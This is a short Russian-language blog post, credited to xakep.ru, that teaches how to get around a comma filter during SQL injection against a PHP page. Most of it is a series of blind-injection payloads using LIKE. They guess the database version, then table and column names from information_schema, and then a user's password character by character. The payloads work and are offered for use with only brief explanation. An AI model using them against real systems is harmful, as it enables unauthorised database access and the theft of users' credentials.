Обход фильтрации символов запятой при проведении SQL-Injection

Задача: Обойти фильтрацию символов запятой при проведении SQL-Injection
Решение:
Задача не банальная. Хоть и встречается редко, но, как правило, ставит в тупик многих людей. Допустим, мы имеем такой код:
<?php
if(isset($_GET['id']) && $_GET['id']!=»){
$replaced = preg_replace(/,/,»,$_GET);

….
здесь какие-то запросы с использованием переменной $replaced
К чему же мы приходим? Невозможно использовать конструкцию union select, если в запросе участвует больше 2-х полей. ОК, крутим как слепую, скажешь ты. Но в данном случае большинство известных способов, таких как использование функций substring(), mid(), ExtractValue(), а также последние наработки Qwazar’a в области раскрутки слепых инъекций работать не будут. Что же делать? Будем использовать логику SQL-выражений, и здесь поможет нам LIKE.
Для начала узнаем версию:

 id=1 and version() like ’4%’–
Если запрос не удался, значит, версия отличная от 4*. Пробуем по-другому:
id=1 and version() like ’5%’–
ОК, запрос такой же, как и при
id=1 and 1=1–
А это значит, что первый символ версии мы подобрали успешно. Я думаю, ты понял, что делать дальше, но я все же покажу.
Узнаем названия таблиц в information_schema.tables; желательно знать примерное название колонки, если нас интересует таблица с юзерами, я делаю обычно так:
id=1 and (select 1 from information_schema.columns where column_name like ‘%pass%’ and table_name like ‘u%’)–
В данной конструкции ‘%pass%’ остается неизменным, а подбираем мы именно table_name. Если первый запрос прошел удачно, тогда пробуем подобрать второй из символов:
id=1 and (select 1 from information_schema.columns where column_name like ‘%pass%’ and table_name like ‘us%’)–
И так далее. Предположим, мы получили имя таблицы users и колонки username, password,id. Составим запрос на получение пароля из базы
id=1 and (select 1 from users where id=1 and password like ‘q%’)–
Подбирается по образу и подобию предыдущих запросов. Символ % в конструкции LIKE говорит о том, что после ‘q’ находится 1 и более любых символов.
(c)xakep.ru

Комментариев нет:

Отправить комментарий